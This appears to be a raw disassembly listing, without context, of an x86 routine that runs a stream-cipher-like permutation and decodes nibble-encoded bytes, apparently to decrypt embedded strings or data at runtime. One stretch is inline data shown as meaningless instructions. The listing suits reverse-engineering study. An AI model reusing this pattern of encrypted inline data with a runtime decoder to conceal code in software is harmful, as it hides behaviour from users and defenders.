movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x3a60]
divss xmm0, dword [ebp - 0x4310]
movss dword [ebp - 0x3a60], xmm0
movss xmm0, dword [ebp - 0x4310]
addss xmm0, dword [ebp - 0x3a60]
movss dword [ebp - 0x4310], xmm0
movss xmm0, dword [ebp - 0x41e0]
divss xmm0, dword [ebp - 0x46b4]
movss dword [ebp - 0x41e0], xmm0
jmp 0x43a6ae
movss xmm0, dword [ebp - 0x46b4]
addss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x46b4], xmm0
movss xmm0, dword [ebp - 0x4310]
subss xmm0, dword [ebp - 0x3a60]
movss dword [ebp - 0x4310], xmm0
movss xmm0, dword [ebp - 0x4310]
subss xmm0, dword [ebp - 0x3a60]
movss dword [ebp - 0x4310], xmm0
movss xmm0, dword [ebp - 0x46b4]
mulss xmm0, dword [ebp - 0x41e0]
movss dword [ebp - 0x46b4], xmm0
movzx eax, byte [ebp - 0x332c]
movzx ecx, byte [ebp - 0x3388]
mov dl, byte [ebp + eax - 0x6b3c]
mov byte [ebp + ecx - 0x6b3c], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x332c]
mov dl, byte [ebp + eax - 0x6b3c]
mov byte [ebp + ecx - 0x6b3c], dl
movzx eax, byte [ebp - 0x3314]
movzx ecx, byte [ebp - 0x332d]
mov dl, byte [ebp + eax - 0x6b3c]
mov byte [ebp + ecx - 0x6b3c], dl
movzx eax, byte [ebp - 0x3314]
mov cl, byte [ebp - 0x33b9]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x33b9]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx ecx, byte [ebp - 0x33b8]
add ecx, eax
mov byte [ebp - 0x33b8], cl
movzx edx, byte [ebp - 0x33b7]
movzx eax, byte [ebp - 0x332c]
movzx ecx, byte [ebp + eax - 0x6b3c]
movzx eax, byte [ebp - 0x3314]
movzx eax, byte [ebp + eax - 0x6b3c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6b3c]
xor edx, ecx
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp + eax - 0x6b3c]
movzx eax, byte [ebp - 0x3388]
movzx eax, byte [ebp + eax - 0x6b3c]
add ecx, eax
movzx eax, byte [ebp - 0x33b8]
movzx eax, byte [ebp + eax - 0x6b3c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6b3c]
movzx eax, byte [ebp + ecx - 0x6b3c]
xor edx, eax
mov byte [ebp - 0x332d], dl
mov cl, byte [ebp - 0x33b7]
mov byte [ebp - 0x3388], cl
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x35ad], dl
cmp dword [ebp - 0x3968], 0
jle 0x43a7d5
movsx ax, byte [ebp - 0x35ad]
mov ecx, dword [ebp - 0x3968]
mov word [ebp + ecx*2 - 0x482], ax
mov edx, dword [ebp - 0x3e40]
add edx, 0x14
mov dword [ebp - 0x3e40], edx
mov eax, dword [ebp - 0x3968]
add eax, 1
mov dword [ebp - 0x4b04], eax
jmp 0x43a804
mov ecx, dword [ebp - 0x4b04]
add ecx, 1
mov dword [ebp - 0x4b04], ecx
mov edx, dword [ebp - 0x4b04]
cmp edx, dword [ebp - 0x3e40]
jge 0x43aa65
mov eax, dword [ebp - 0x3968]
add eax, 1
mov dword [ebp - 0x3968], eax
mov ecx, dword [ebp - 0x3968]
shl ecx, 1
mov dword [ebp - 0x44d8], ecx
mov edx, dword [ebp - 0x44dc]
add edx, dword [ebp - 0x44d8]
movzx eax, byte [edx]
mov dword [ebp - 0x4418], eax
mov dword [ebp - 0x43bc], 0x15
mov ecx, dword [ebp - 0x3968]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x44e0], edx
mov eax, dword [ebp - 0x44dc]
add eax, dword [ebp - 0x44e0]
movzx ecx, byte [eax]
mov dword [ebp - 0x43b8], ecx
mov dword [ebp - 0x4414], 0x49
mov edx, dword [ebp - 0x4418]
sub edx, dword [ebp - 0x43bc]
mov dword [ebp - 0x43ac], edx
mov eax, dword [ebp - 0x43b8]
sub eax, dword [ebp - 0x4414]
mov dword [ebp - 0x4410], eax
mov ecx, dword [ebp - 0x43ac]
shl ecx, 4
mov dword [ebp - 0x44e4], ecx
mov edx, dword [ebp - 0x4410]
mov dword [ebp - 0x4460], edx
mov eax, dword [ebp - 0x44e4]
or eax, dword [ebp - 0x4460]
mov dword [ebp - 0x4500], eax
mov cl, byte [ebp - 0x4500]
mov byte [ebp - 0x33b7], cl
movzx edx, byte [ebp - 0x3388]
mov al, byte [ebp + edx - 0x6b3c]
mov byte [ebp - 0x33b9], al
movzx ecx, byte [ebp - 0x3314]
movzx edx, byte [ebp + ecx - 0x6b3c]
movzx eax, byte [ebp - 0x332c]
add eax, edx
mov byte [ebp - 0x332c], al
mov cl, byte [ebp - 0x3314]
add cl, 1
mov byte [ebp - 0x3314], cl
movzx edx, byte [ebp - 0x332c]
movzx eax, byte [ebp - 0x3388]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x332c]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x3314]
movzx eax, byte [ebp - 0x332d]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x3314]
mov al, byte [ebp - 0x33b9]
mov byte [ebp + edx - 0x6b3c], al
movzx ecx, byte [ebp - 0x33b9]
movzx edx, byte [ebp + ecx - 0x6b3c]
movzx eax, byte [ebp - 0x33b8]
add eax, edx
mov byte [ebp - 0x33b8], al
movzx ecx, byte [ebp - 0x33b7]
movzx edx, byte [ebp - 0x332c]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx edx, byte [ebp - 0x3314]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6b3c]
xor ecx, eax
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx edx, byte [ebp - 0x3388]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
movzx edx, byte [ebp - 0x33b8]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6b3c]
movzx edx, byte [ebp + eax - 0x6b3c]
xor ecx, edx
mov byte [ebp - 0x332d], cl
mov al, byte [ebp - 0x33b7]
mov byte [ebp - 0x3388], al
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x35ad], cl
cmp dword [ebp - 0x3968], 0
jle 0x43aa60
movsx dx, byte [ebp - 0x35ad]
mov eax, dword [ebp - 0x3968]
mov word [ebp + eax*2 - 0x482], dx
jmp 0x43a7f5
mov ecx, dword [ebp - 0x3e40]
add ecx, 1
mov dword [ebp - 0x3e40], ecx
mov edx, dword [ebp - 0x3e40]
add edx, 0x14
mov dword [ebp - 0x3e40], edx
mov eax, dword [ebp - 0x3968]
add eax, 1
mov dword [ebp - 0x4b08], eax
jmp 0x43aaa3
mov ecx, dword [ebp - 0x4b08]
add ecx, 1
mov dword [ebp - 0x4b08], ecx
mov edx, dword [ebp - 0x4b08]
cmp edx, dword [ebp - 0x3e40]
jge 0x43ad04
mov eax, dword [ebp - 0x3968]
add eax, 1
mov dword [ebp - 0x3968], eax
mov ecx, dword [ebp - 0x3968]
shl ecx, 1
mov dword [ebp - 0x44d8], ecx
mov edx, dword [ebp - 0x44dc]
add edx, dword [ebp - 0x44d8]
movzx eax, byte [edx]
mov dword [ebp - 0x4418], eax
mov dword [ebp - 0x43bc], 0x15
mov ecx, dword [ebp - 0x3968]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x44e0], edx
mov eax, dword [ebp - 0x44dc]
add eax, dword [ebp - 0x44e0]
movzx ecx, byte [eax]
mov dword [ebp - 0x43b8], ecx
mov dword [ebp - 0x4414], 0x49
mov edx, dword [ebp - 0x4418]
sub edx, dword [ebp - 0x43bc]
mov dword [ebp - 0x43ac], edx
mov eax, dword [ebp - 0x43b8]
sub eax, dword [ebp - 0x4414]
mov dword [ebp - 0x4410], eax
mov ecx, dword [ebp - 0x43ac]
shl ecx, 4
mov dword [ebp - 0x44e4], ecx
mov edx, dword [ebp - 0x4410]
mov dword [ebp - 0x4460], edx
mov eax, dword [ebp - 0x44e4]
or eax, dword [ebp - 0x4460]
mov dword [ebp - 0x4500], eax
mov cl, byte [ebp - 0x4500]
mov byte [ebp - 0x33b7], cl
movzx edx, byte [ebp - 0x3388]
mov al, byte [ebp + edx - 0x6b3c]
mov byte [ebp - 0x33b9], al
movzx ecx, byte [ebp - 0x3314]
movzx edx, byte [ebp + ecx - 0x6b3c]
movzx eax, byte [ebp - 0x332c]
add eax, edx
mov byte [ebp - 0x332c], al
mov cl, byte [ebp - 0x3314]
add cl, 1
mov byte [ebp - 0x3314], cl
movzx edx, byte [ebp - 0x332c]
movzx eax, byte [ebp - 0x3388]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x332c]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x3314]
movzx eax, byte [ebp - 0x332d]
mov cl, byte [ebp + edx - 0x6b3c]
mov byte [ebp + eax - 0x6b3c], cl
movzx edx, byte [ebp - 0x3314]
mov al, byte [ebp - 0x33b9]
mov byte [ebp + edx - 0x6b3c], al
movzx ecx, byte [ebp - 0x33b9]
movzx edx, byte [ebp + ecx - 0x6b3c]
movzx eax, byte [ebp - 0x33b8]
add eax, edx
mov byte [ebp - 0x33b8], al
movzx ecx, byte [ebp - 0x33b7]
movzx edx, byte [ebp - 0x332c]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx edx, byte [ebp - 0x3314]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6b3c]
xor ecx, eax
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp + edx - 0x6b3c]
movzx edx, byte [ebp - 0x3388]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
movzx edx, byte [ebp - 0x33b8]
movzx edx, byte [ebp + edx - 0x6b3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6b3c]
movzx edx, byte [ebp + eax - 0x6b3c]
xor ecx, edx
mov byte [ebp - 0x332d], cl
mov al, byte [ebp - 0x33b7]
mov byte [ebp - 0x3388], al
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x35ad], cl
cmp dword [ebp - 0x3968], 0
jle 0x43acff
movsx dx, byte [ebp - 0x35ad]
mov eax, dword [ebp - 0x3968]
mov word [ebp + eax*2 - 0x482], dx
jmp 0x43aa94
mov ecx, dword [ebp - 0x3e40]
add ecx, 1
mov dword [ebp - 0x3e40], ecx
mov edx, 2
imul eax, edx, 0x28
mov dword [ebp - 0x51a0], eax
cmp dword [ebp - 0x51a0], 0x52
jae 0x43ad2c
jmp 0x43ad31
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x51a0]
mov word [ebp + edx - 0x480], cx
jmp 0x43ad97
mov dword [ebp - 0x482c], 0
jmp 0x43ad5e
mov eax, dword [ebp - 0x482c]
add eax, 1
mov dword [ebp - 0x482c], eax
cmp dword [ebp - 0x482c], 0x29
jge 0x43ad97
mov ecx, dword [ebp - 0x482c]
shl ecx, 1
mov dword [ebp - 0x519c], ecx
cmp dword [ebp - 0x519c], 0x52
jae 0x43ad80
jmp 0x43ad85
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x519c]
mov word [ebp + eax - 0x480], dx
jmp 0x43ad4f
push 0
push 1
mov ecx, dword [ebp - 0x458c]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0
lea eax, [ebp - 0x480]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3234], 0
mov dword [ebp - 0x31e0], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x475c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4684], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4684], xmm0
jmp 0x43ae0e
movsd xmm0, qword [ebp - 0x4684]
addsd xmm0, qword [0xa6e358]
movsd qword [ebp - 0x4684], xmm0
movsd xmm0, qword [0xa6e908]
comisd xmm0, xmmword [ebp - 0x4684]
jbe 0x43aebf
movsd xmm0, qword [0xa6e6b8]
mulsd xmm0, qword [ebp - 0x4684]
mulsd xmm0, qword [ebp - 0x4684]
movsd xmm1, qword [ebp - 0x4684]
mulsd xmm1, qword [ebp - 0x4684]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3a8]
mulsd xmm1, qword [ebp - 0x4684]
mulsd xmm1, qword [ebp - 0x4684]
addsd xmm1, qword [0xa6e448]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x475c]
comisd xmm0, xmmword [0xa6e568]
jbe 0x43aeba
movsd xmm0, qword [0xa6e318]
mulsd xmm0, qword [ebp - 0x4684]
movsd xmm1, qword [ebp - 0x475c]
subsd xmm1, xmm0
movsd qword [ebp - 0x475c], xmm1
jmp 0x43adf6
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x475c]
jbe 0x43af3a
popal
jbe 0x43aefc
xor eax, 0x406f653f
jo 0x43af3e
inc eax
sub dword [edx + 0x3a], ecx
insd dword es:[edi], dx
jnp 0x43af02
dec ecx
inc eax
and al, 0x26
pushal
imul esi, dword [edx + edx*2], 0x2a403253
sub al, 0x45
and eax, 0x2d4d214a
dec ebp
and al, byte [ebp + 0x29]
inc edi
pop ds
dec edx
and eax, 0x25491f4a
dec edi
sub ecx, dword [edi + 0x2b]
dec ecx
and eax, 0x2b4f2b4f
inc esi
sub eax, 0x1f472e45
inc edi
and cl, byte [ebp + 0x26]
inc edi
inc eax
and dword [eax + 0x26], ecx
inc eax
inc edx
and byte [eax + 0x26], al
dec ebp
and eax, 0x254d2745
dec esp
sub byte [ecx + 0x44], al
sub al, 0x44
sub dword [edx + 0x27], eax
dec edi
sub eax, 0x29492746
dec esp
sub al, 0x4a
sub eax, 0xe9442344
dec esp
das
add byte [eax], al
mov dword [ebp - 0x3234], 0x43aeeb
mov dword [ebp - 0x31e0], 0x43aecc
mov edx, dword [ebp - 0x3234]
mov dword [ebp - 0x3ab8], edx
mov eax, dword [ebp - 0x31e0]
mov dword [ebp - 0x5fc8], eax
mov byte [ebp - 0x3fe4], 0x23
mov dword [ebp - 0x3824], 0
jmp 0x43af88
invalid
mov ecx, dword [ebp - 0x3824]
add ecx, 1
mov dword [ebp - 0x3824], ecx
cmp dword [ebp - 0x3824], 0x100
jae 0x43afa9
mov edx, dword [ebp - 0x3824]
mov al, byte [ebp - 0x3824]
mov byte [ebp + edx - 0x5c20], al
jmp 0x43af79
mov dword [ebp - 0x4504], 0
mov byte [ebp - 0x334e], 0
mov dword [ebp - 0x3824], 0xff
jmp 0x43afd5
mov ecx, dword [ebp - 0x3824]
sub ecx, 1
mov dword [ebp - 0x3824], ecx
cmp dword [ebp - 0x3824], 0
jbe 0x43b245
mov dword [ebp - 0x4a74], 0
mov dword [ebp - 0x4828], 1
mov edx, dword [ebp - 0x4828]
cmp edx, dword [ebp - 0x3824]
jae 0x43b016
mov eax, dword [ebp - 0x4828]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4828], ecx
jmp 0x43aff6
mov edx, dword [ebp - 0x4504]
mov dword [ebp - 0x5198], edx
cmp dword [ebp - 0x5198], 3
ja case.default.0x43b035
mov eax, dword [ebp - 0x5198]
jmp dword [eax*4 + 0x46b550]
movzx ecx, byte [ebp - 0x334e]
movzx ebx, byte [ebp + ecx - 0x5c20]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334e], bl
jmp 0x43b11e
movzx edx, byte [ebp - 0x334e]
movzx ebx, byte [ebp + edx - 0x5c20]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334e], bl
jmp 0x43b11e
movzx eax, byte [ebp - 0x334e]
movzx ebx, byte [ebp + eax - 0x5c20]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334e], bl
jmp 0x43b11e
movzx ecx, byte [ebp - 0x334e]
movzx ebx, byte [ebp + ecx - 0x5c20]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334e], bl
jmp 0x43b11e
movzx edx, byte [ebp - 0x334e]
movzx eax, byte [ebp + edx - 0x5c20]
mov ecx, dword [ebp - 0x5fc8]
add ecx, dword [ebp - 0x4504]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x334e], al
mov eax, dword [ebp - 0x4504]
add eax, 1
mov dword [ebp - 0x4504], eax
movzx ecx, byte [ebp - 0x3fe4]
cmp dword [ebp - 0x4504], ecx
jb 0x43b15c
mov dword [ebp - 0x4504], 0
movzx edx, byte [ebp - 0x3fe4]
movzx eax, byte [ebp - 0x334e]
add eax, edx
mov byte [ebp - 0x334e], al
movzx ecx, byte [ebp - 0x334e]
and ecx, dword [ebp - 0x4828]
mov dword [ebp - 0x430c], ecx
mov edx, dword [ebp - 0x4a74]
add edx, 1
mov dword [ebp - 0x4a74], edx
cmp dword [ebp - 0x4a74], 0xb
jbe 0x43b19b
mov eax, dword [ebp - 0x430c]
xor edx, edx
div dword [ebp - 0x3824]
mov dword [ebp - 0x430c], edx
mov eax, dword [ebp - 0x430c]
cmp eax, dword [ebp - 0x3824]
ja 0x43b016
mov ecx, dword [ebp - 0x3824]
cmp ecx, dword [ebp - 0x430c]
je 0x43b240
mov edx, dword [ebp - 0x430c]
movzx eax, byte [ebp + edx - 0x5c20]
mov ecx, dword [ebp - 0x3824]
movzx edx, byte [ebp + ecx - 0x5c20]
xor edx, eax
mov eax, dword [ebp - 0x3824]
mov byte [ebp + eax - 0x5c20], dl
mov ecx, dword [ebp - 0x3824]
movzx edx, byte [ebp + ecx - 0x5c20]
mov eax, dword [ebp - 0x430c]
movzx ecx, byte [ebp + eax - 0x5c20]
xor ecx, edx
mov edx, dword [ebp - 0x430c]
mov byte [ebp + edx - 0x5c20], cl
mov eax, dword [ebp - 0x430c]
movzx ecx, byte [ebp + eax - 0x5c20]
mov edx, dword [ebp - 0x3824]
movzx eax, byte [ebp + edx - 0x5c20]
xor eax, ecx
mov ecx, dword [ebp - 0x3824]
mov byte [ebp + ecx - 0x5c20], al
jmp 0x43afc6
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x3279], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x328f], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x32f2], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x3290], al
movzx ecx, byte [ebp - 0x334e]
mov dl, byte [ebp + ecx - 0x5c20]
mov byte [ebp - 0x32a9], dl
mov dword [ebp - 0x5194], 0x4a
cmp dword [ebp - 0x5194], 2
jle 0x43de32
mov eax, dword [ebp - 0x5194]
and eax, 1
jne 0x43de32
mov dword [ebp - 0x338c], 0
mov dword [ebp - 0x35e8], 0
mov ecx, dword [ebp - 0x35e8]
add ecx, 1
mov dword [ebp - 0x35e8], ecx
mov dword [ebp - 0x3a5c], 0
mov edx, dword [ebp - 0x338c]
shl edx, 1
mov dword [ebp - 0x3a5c], edx
mov dword [ebp - 0x39f4], 0
mov eax, dword [ebp - 0x3ab8]
add eax, dword [ebp - 0x3a5c]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x39f4]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0
mov edx, dword [ebp - 0x39f0]
add edx, 0x1f
mov dword [ebp - 0x39f0], edx
mov dword [ebp - 0x3ab4], 0
mov eax, dword [ebp - 0x338c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x39ec], 0
mov edx, dword [ebp - 0x3ab8]
add edx, dword [ebp - 0x3ab4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x39ec]
mov dword [ebp - 0x39ec], eax
mov dword [ebp - 0x39c0], 0
mov ecx, dword [ebp - 0x39c0]
add ecx, 0x40
mov dword [ebp - 0x39c0], ecx
mov dword [ebp - 0x39c4], 0
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
add edx, dword [ebp - 0x39c4]
mov dword [ebp - 0x39c4], edx
mov dword [ebp - 0x39c8], 0
mov eax, dword [ebp - 0x39ec]
sub eax, dword [ebp - 0x39c0]
add eax, dword [ebp - 0x39c8]
mov dword [ebp - 0x39c8], eax
mov dword [ebp - 0x3ab0], 0
mov ecx, dword [ebp - 0x39c4]
shl ecx, 4
mov dword [ebp - 0x3ab0], ecx
mov dword [ebp - 0x3aac], 0
mov edx, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], edx
mov dword [ebp - 0x3aa8], 0
mov eax, dword [ebp - 0x3ab0]
or eax, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], eax
mov byte [ebp - 0x32f1], 0
mov cl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], cl
mov byte [ebp - 0x32f3], 0
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x32f3], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp - 0x328f]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp - 0x3290]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3279]
mov al, byte [ebp - 0x32f3]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x32f3]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp - 0x32f2]
add eax, edx
mov byte [ebp - 0x32f2], al
movzx ecx, byte [ebp - 0x32f1]
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp + edx - 0x5c20]
movzx edx, byte [ebp - 0x3279]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5c20]
xor ecx, eax
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp + edx - 0x5c20]
movzx edx, byte [ebp - 0x32a9]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
movzx edx, byte [ebp - 0x32f2]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp + eax - 0x5c20]
xor ecx, edx
mov byte [ebp - 0x3290], cl
mov al, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], cl
cmp dword [ebp - 0x338c], 0
jle 0x43b5cf
movsx dx, byte [ebp - 0x332e]
mov eax, dword [ebp - 0x338c]
mov word [ebp + eax*2 - 0x34e], dx
mov ecx, dword [ebp - 0x338c]
add ecx, 1
mov dword [ebp - 0x338c], ecx
mov edx, dword [ebp - 0x35e8]
add edx, 1
mov dword [ebp - 0x35e8], edx
mov eax, dword [ebp - 0x338c]
shl eax, 1
mov dword [ebp - 0x3a5c], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3a5c]
movzx edx, byte [ecx]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0x1f
mov eax, dword [ebp - 0x338c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3ab4], ecx
mov edx, dword [ebp - 0x3ab8]
add edx, dword [ebp - 0x3ab4]
movzx eax, byte [edx]
mov dword [ebp - 0x39ec], eax
mov dword [ebp - 0x39c0], 0x40
mov ecx, dword [ebp - 0x39f4]
sub ecx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], ecx
mov edx, dword [ebp - 0x39ec]
sub edx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x39c4]
shl eax, 4
mov dword [ebp - 0x3ab0], eax
mov ecx, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x3ab0]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], al
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + ecx - 0x5c20]
mov byte [ebp - 0x32f3], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp - 0x328f]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3290]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32f3]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x32f3]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x32f2]
add edx, ecx
mov byte [ebp - 0x32f2], dl
movzx eax, byte [ebp - 0x32f1]
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
xor eax, edx
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x32a9]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
movzx ecx, byte [ebp - 0x32f2]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp + edx - 0x5c20]
xor eax, ecx
mov byte [ebp - 0x3290], al
mov dl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], al
cmp dword [ebp - 0x338c], 0
jle 0x43b829
movsx cx, byte [ebp - 0x332e]
mov edx, dword [ebp - 0x338c]
mov word [ebp + edx*2 - 0x34e], cx
mov eax, dword [ebp - 0x35e8]
add eax, 0xf
mov dword [ebp - 0x35e8], eax
mov ecx, dword [ebp - 0x338c]
add ecx, 1
mov dword [ebp - 0x4a78], ecx
jmp 0x43b858
mov edx, dword [ebp - 0x4a78]
add edx, 1
mov dword [ebp - 0x4a78], edx
mov eax, dword [ebp - 0x4a78]
cmp eax, dword [ebp - 0x35e8]
jge 0x43babb
mov ecx, dword [ebp - 0x338c]
add ecx, 1
mov dword [ebp - 0x338c], ecx
mov edx, dword [ebp - 0x338c]
shl edx, 1
mov dword [ebp - 0x3a5c], edx
mov eax, dword [ebp - 0x3ab8]
add eax, dword [ebp - 0x3a5c]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0x1f
mov edx, dword [ebp - 0x338c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3ab4]
movzx edx, byte [ecx]
mov dword [ebp - 0x39ec], edx
mov dword [ebp - 0x39c0], 0x40
mov eax, dword [ebp - 0x39f4]
sub eax, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], eax
mov ecx, dword [ebp - 0x39ec]
sub ecx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x39c4]
shl edx, 4
mov dword [ebp - 0x3ab0], edx
mov eax, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], eax
mov ecx, dword [ebp - 0x3ab0]
or ecx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], ecx
mov dl, byte [ebp - 0x3aa8]
